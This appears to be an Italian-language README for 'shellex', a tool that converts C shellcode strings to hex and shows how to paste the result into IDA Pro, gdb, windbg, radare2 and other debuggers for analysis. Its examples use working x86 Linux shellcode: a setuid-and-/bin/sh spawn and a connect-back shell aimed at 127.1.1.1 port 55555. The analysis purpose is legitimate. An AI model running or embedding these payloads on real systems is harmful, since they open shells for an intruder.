therealdreg/shellexConvertitore da C-shellcode a hex, strumento utile per incollare & eseguire shellcode in IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger & 010 editor
AVVERTENZA: il codice più brutto del mondo
Convertitore da C-shellcode a hex.
Per favore, considera una donazione: https://github.com/sponsors/therealdreg
Strumento utile per incollare ed eseguire shellcode in IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger e 010 editor.
Hai problemi a convertire C-shellcode in HEX (forse con commenti C e ASCII misti?)
Ecco shellex. Se lo shellcode può essere compilato in un compilatore C, shellex può convertirlo.
Basta eseguire shellex, incollare la stringa C dello shellcode e premere INVIO.
Per terminare usa Control+Z (Windows) / Control+D (Linux)
Conversione di c-shellcode multi-linea hex+ascii misto (presta attenzione alla parte mista \x68//sh\x68/bin\x89):
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
output shellex:
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
Conversione di c-shellcode multi-linea con commenti:
"\x68"
"\x7f\x01\x01\x01" // <- IP: 127.1.1.1
"\x5e\x66\x68"
"\xd9\x03" // <- Port: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"
output shellex:
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE
Hai bisogno dell'output di shellex come nuova stringa c-shellcode? basta usare il parametro -h, esempio di conversione dell'output shellex:
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80
git clone https://github.com/therealdreg/shellex.git
binario:
shellex\bins\shellex.exe
Dipendenze:
sudo apt-get install tcc
binario:
shellex/linuxbins/shellex
Basta usare il mio plugin xshellex:
https://github.com/therealdreg/xshellex
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
def writebytes(dest, str):
for i, c in enumerate(str):
idc.patch_byte(dest+i, ord(c));
address = idc.get_reg_value("eip")
shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
writebytes(address, shellcode)
print("done!")
Debugga un programma in IDA PRO:
Ora puoi debuggarre lo shellcode con F7, ma forse la finestra Disasm mostra lo shellcode come db.
Ecco la soluzione:
Fatto! Puoi visualizzare lo shellcode disassemblato e debuggarre con F7.
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
Scrivi il file binario al puntatore di istruzione corrente:
per 32 bit:
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip
per 64 bit:
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip
x/30b è la dimensione in byte dello shellcode, puoi ottenere la dimensione con:
wc -c /tmp/sc
x/15i è il numero di istruzioni da visualizzare, puoi ottenere il numero corretto (forse) con ndisasm:
sudo apt-get install nasm
Per 32 bit:
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l
Per 64 bit:
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"
Usa il comando patch byte:
Per 32 bit:
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80
Per 64 bit:
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80
Esegui il comando context e controlla se il disasm è corretto
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
Per 32 bit:
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
Per 64 bit:
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
Esegui il comando context e controlla se il disasm è corretto
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
Per shellcode piccoli eb può andare bene, basta usare l'output di shellex con il comando eb (grazie ad Axel Souchet @0vercl0k per il suggerimento)
Per 32 bit:
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
Per 64 bit:
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex
output certutil:
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.
La lunghezza del nostro shellcode è 30, quindi usa L0n30 in windbg.
Scrivi il file binario al puntatore di istruzione corrente:
per 32 bit:
.readmem C:\Users\Dreg\sc @eip L0n30
per 64 bit:
.readmem C:\Users\Dreg\sc @rip L0n30
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
Per 32 bit:
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip
Per 64 bit:
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip
Controlla se lo shellcode è stato incollato correttamente:
Ottieni la dimensione dello shellcode in un terminale con:
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c
L'output dell'ultimo comando è 30, ora usa il comando pD in radare2:
pD 30
Conversione di "\x6a\x17\x58\x31\xdb\xcd\x80" in Linux:
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex
Conversione di "\x6a\x17\x58\x31\xdb\xcd\x80" in Windows:
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe
Tramite file multi-linea in Windows:
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe
Tramite file multi-linea in Linux:
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex
Per Windows basta usare Visual Studio 2013
Per Linux basta:
cd shellex/shellex
gcc -o shellex shellex.c
./shellex